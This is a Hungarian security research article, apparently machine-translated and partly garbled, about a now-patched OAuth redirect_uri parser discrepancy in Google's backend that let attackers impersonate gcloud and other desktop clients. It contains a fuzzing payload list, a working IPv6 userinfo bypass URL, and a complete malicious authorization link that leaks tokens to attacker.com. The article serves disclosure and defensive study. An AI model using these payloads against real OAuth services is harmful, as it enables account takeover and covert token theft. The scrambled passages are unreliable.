TL;DR Máté; dr Ez a cikk egy egyedülálló OAuth-fiókfelvételi biztonsági résen megy keresztül, amelyet nemrégiben fedeztem fel, és amely több Google-szolgáltatást érint. Az OAuth paraméter lehetővé teszi a támadók számára, hogy legitim alkalmazásokat, például a Google Cloud SDK klienseket ábrázoljanak, és a hozzáférési tokent egy támadó által ellenőrzött kiszolgálóra szivárogtsák, amely lehetővé teszi az áldozat fiókjához való backdoor hozzáférést – szinte nulla láthatósággal az áldozat számára. redirect_uri Az első négy szakasz az OAuth általános hátterét, a token szivárgási kockázatokat és az URL-kérdőívek összetévesztését foglalja magában. Note: Section 5: Google Cloud Account Takeover Case. 1. Bevezetés Az OAuth 2.0 lehetővé teszi a harmadik féltől származó alkalmazások számára, hogy hozzáférjenek a felhasználói adatokhoz anélkül, hogy közvetlenül kezelnék a jelszavakat, ha egy engedélyezési szerver (például a Google) tokent generál, amelyet a harmadik féltől származó alkalmazás használ a felhasználói adatok megkeresésére vagy a nevükben végzett műveletek végrehajtására. De ha a A paramétert nem igazolják sebészeti pontossággal, a támadók úgy tesznek, mintha megbízható alkalmazások lennének, és megtévesztik a felhasználókat a hozzáférési tokenek szivárgásában. redirect_uri Ebben a cikkben át fogok járni, hogy egy finom URL-elemzési hiba lehetővé teszi számomra, hogy pontosan ezt tegyem - több Google-szolgáltatáson keresztül - a Google Cloud-ügy mély merülésével. 2. Hogyan működik az OAuth Míg az OAuth egy meglehetősen összetett protokoll, amely egy sor cikket érdemel, hogy teljes mértékben megértsék, itt van egy egyszerűsített áttekintés: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data A dolgok vizualizálása érdekében az alábbi túlságosan egyszerűsített diagram azt mutatja, hogy a Google-fiókomat használva bejelentkezem a Mediumba: Sok esetben az engedélyezési szerver és az erőforrás szerver ugyanaz. Note: 3. OAuth Token szivárgás A fenti diagramra tekintve a legnehezebb rész az 5. lépés, ahol az engedélyezési szerver visszaküldi a generált tokent az ügyfélalkalmazásba. Tudni kell, hová kell küldeni a tokent. redirect_uri Ha ezt a paramétert nem megfelelően érvényesítik, a támadó úgy tesz, mintha az ügyfélalkalmazás (például közepes) lenne, és megtéveszti az engedélyezési szervert, hogy elküldje nekik a felhasználó hozzáférési jelszavát – még akkor is, ha a felhasználó szemszögéből minden legitimnek tűnik. A tipikus, bizonyos mértékig érvényesíthető – nem lehet csak véletlenszerű URL-t dobni az engedélyezési kiszolgálóba. Az érvényesítési módszerek azonban az üzleti igényektől függően eltérőek, és a folyamat hibái kihasználhatók. redirect_uri Néhány közös minta: Szigorú egyeztetés: Pontos egyeztetés egy előre regisztrált URI-vel. Wildcard vagy Path Prefix Matching: Az olyan URI-k engedélyezése, mint a https://example.com/* vagy https://*.example.com. Loopback címek: Az asztali alkalmazásokban gyakoriak, ahol egy helyi szerver kezeli az átirányítást. 4. URL Parsing zavartság szerint , egy szabványos URL-nek a következő szerkezete van: Az RFC 3986 scheme://username:password@host:port/path?query#fragment Mindegyik komponens meghatározott szerepet játszik: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment Ez utal arra, hogy a Úgy hivatkoznak, mint Note: host:port authority, username:password userinfo Első pillantásra ez egyszerűnek tűnik – de előfordulhatnak finom elemzési eltérések, különösen a szélsőséges esetek kezelésekor. A fejlesztők feltételezhetik, hogy egy URL-t következetes, szabványosított módon elemeznek minden könyvtárban, azonban az URL-elemzőkkel kapcsolatos kiterjedt kutatások bebizonyították ennek az ellenkezőjét. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Az alábbiakban egy példa van arra, hogy egy URL-t három különböző elemzőn keresztül másképp kezeljük. Bár ez a cikk nem fog mélyen belevetődni az URL-ek elemzésével kapcsolatos zavaró támadásokba, azokat alaposan feltárják a 2017-es Black Hat papíron. Az SSRF új korszaka – Az URL-parser kihasználása a trendprogramozási nyelvekben A Google Cloud-fiók átvételi esete Ha valaha is használta a Google Cloud-ot, valószínűleg találkozott a CLI segédprogram – egy erőteljes parancssori eszköz, amelyet a Google Cloud erőforrásainak kezelésére használnak. Egyéb funkciók között lehetővé teszi a felhasználók számára, hogy a Google-fiókjaik használatával hitelesítsék a böngésző alapú OAuth-áramlást. gcloud Íme, hogyan működik ez: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Ahhoz, hogy ez a folyamat működjön, a Google bizonyos loopback URL-eket (például http://localhost) bízik a natív alkalmazásokban, mivel ezek elég biztonságosnak tekinthetők a helyi használatra, és belsőleg fehér listázzák őket. A támadás felületének azonosítása Miután látta a használják, mint Első gondolatom az volt, hogy helyettesítsem a és Ez egy kulcsfontosságú lépés, mert megerősíti, hogy az URL-eket valójában belsőleg elemzik és összehasonlítják, ahelyett, hogy alapvető ellenőrzést végeznének, mint például: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Tehát itt két fontos dolog zajlik: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri Ez azt jelenti, hogy két URL-parsernek van helye, a Google backend által használtnak, és a böngészőnk (az én esetemben a Chrome) által használt parsernek, így hacsak ezek a két parsernek nem azonosak, a közöttük lévő esetleges következetlenségek kihasználhatók az OAuth-támogatás egy támadó által ellenőrzött szerverre történő szivárgására. A cél most világos, létre kell hoznunk egy olyan URL-t, amely a két elemző között másképp elemezhető, oly módon, hogy a Google backend elemzőjét egy loopback címként elemezzük, míg a Chrome elemzőjét egy globális internetcímként elemezzük. Az a tény, hogy nagyon korlátozott ismeretekkel rendelkezünk a Google backendjéről és arról, hogy milyen könyvtárat használnak belsőleg az URL-ek elemzésére, azt jelenti, hogy csak a fekete doboz megközelítésével maradtunk. B. Fuzzing a győzelemért A következő dolog, amit tettem, egy Python-szkriptet írtam, amely különböző URL-eket mutál, különböző kódolási trükköket, alternatív megjegyzéseket és szélsőséges eseteket alkalmazva, hogy megtudja, melyik átment a Google backend érvényesítésén, de a Chrome másképp értelmezte, a script több trükköt alkalmazott, mint például: Változó IP-címek: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Privát IP címek: 10.0.0.5, 192.168.5.3, 127.10.0.1 Különböző rendszerek: file://, ldap://, ftp://, javascript://, adat:// CRLF injekció: %0D%0A Hostname/IP mint felhasználói információ: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com Nagyon hosszú URL-ek: http://AAAAAA...@127.0.0.1 DNS kiegészítők: 127.0.0.1.attacker.com A rosszindulatú URL-címek: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Kérdés/Fragmentum injekciók: Inject extra ? , & vagy # előtt / után @ DNS rebinding (kézi tesztelés) Miután egy ideig futotta a forgatókönyvet, és meglepetésemre az egyik generált szélsőséges esetnek sikerült kiváltania a keresett pontos eltérést, a reakcióm a következő volt: A sikeres edge eset megtalálható volt: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ amely további egyszerűsítésre kerülhet: http://[::1]@[::1]@attacker.com/ Amikor megpróbáljuk megvizsgálni ezt az URL-t a Chrome segítségével, a következő eredményt kapjuk: Az érdekes rész a Kezdjük azzal, hogy ez egy rosszindulatú URL. A karaktert el kell különíteni a Ebből a , és csak egyszer jelenjen meg egy érvényes URL-ben. a Chrome enyhíti ezt a szélső esetet azáltal, hogy kódolja az összes nem fenntartott karaktert, valamint a fenntartott karakterek korábbi előfordulásait, és csak a legújabb verziót használja mint a határ. ez biztosítja, hogy bármely Az utóbbi esetben az URL kódolva van. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Ezzel szemben a haszonterhelés változásaival végzett kísérleti tesztek alapján úgy tűnik, hogy a Google backend elemzője nem kódolta megfelelően a fenntartott karakterek korábbi előfordulásait, hanem az első előfordulást használta. Az elválasztás után, a megosztás után A parser valószínűleg kiemelte a és a rögzített pozíciókból, teljesen figyelmen kívül hagyva a . @ @ userinfo hostname attacker.com Érdemes megjegyezni, hogy ez a viselkedés kizárólag IPv6 használatakor vált ki. ) a várt módon működött, kiemelve, hogy az inkonzisztencia specifikus volt az IPv6 elemző logikájára. http://127.0.0.1@127.0.0.1@attacker.com C. Mindent összehozni Most a támadás vektorunk világossá válik, képzelhetjük el cli segédprogram, és becsapja a felhasználót, hogy hitelesítse azt a gondolatot, amelyet hitelesítenek . gcloud gcloud A támadás így alakul: Craft egy rosszindulatú OAuth engedélyezési kérelmet, és küldje el a linket (kód blokk alább) az áldozat Az áldozatot egy teljesen jogos OAuth-hitelesítési folyamat mutatja be a Google Cloud SDK klienshez (9. ábra). Az áldozat bejelentkezik és beleegyezik a felsorolt engedélyekbe (célok) Az áldozat átirányítja a rosszindulatú host, a generált OAuth támogatás Az OAuth-támogatást arra használjuk, hogy API-hívásokat hajtsunk végre az áldozat számlájára a nevében https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Az alábbiakban a javasolt támadás áramlásának vizualizációja A felhasználó szemszögéből nézve úgy néz ki, mintha hitelesítenének , még a Google hitelesítési szerver esetében is úgy néz ki, mintha a felhasználó megpróbálná hitelesíteni a Tehát hatékonyan becsapjuk mindkét hitelesítő felet arra, hogy azt gondolják, hogy ez egy legitim hitelesítési folyamat, miközben a végső hozzáférési token szivárog a rosszindulatú hostunkba. gcloud gcloud A szivárgott hozzáférési token hatékonyan korlátlan hozzáférést biztosít számunkra az áldozatok számlájára, lehetővé téve számunkra, hogy még a rendkívül kiváltságos cselekedeteket is végrehajtsuk. Ami még veszélyesebbé tette a támadást: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Ahogy a cikk elején említettem, Ez csak egy sebezhető alkalmazás, itt van néhány más alkalmazás, amelyeket szintén sebezhetőnek találtam: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) A Google gyorsan reagált, 72 órán belül elismerte a súlyosságot, és nagy súlyosságú jutalmat ítélt oda. 6. Következtetés Ez a kutatás kiemeli, hogy a finom URL-kérdőjelezési eltérés teljesen alááshatja az egész hitelesítési folyamat biztonságát, amelyet különböző alkalmazások és szolgáltatások között újra használnak, még akkor is, ha azt egy olyan cég hajtja végre, amely olyan érett és biztonságtudatos, mint a Google. Annak ellenére, hogy az OAuth egy érett és jól tanulmányozott protokoll, biztonsága nagymértékben függ a platformok, könyvtárak és környezetek között eltérő apró megvalósítási részletektől.Ez emlékeztet arra, hogy a biztonságban a pontosság fontos: még a komponensek közötti apró ellentmondások is elegendőek lehetnek a kritikus bizalmi feltételezések megtöréséhez. A Google azóta a felelősségteljes nyilvánosságra hozatalt követően javította a sebezhetőséget. Köszönöm az olvasást!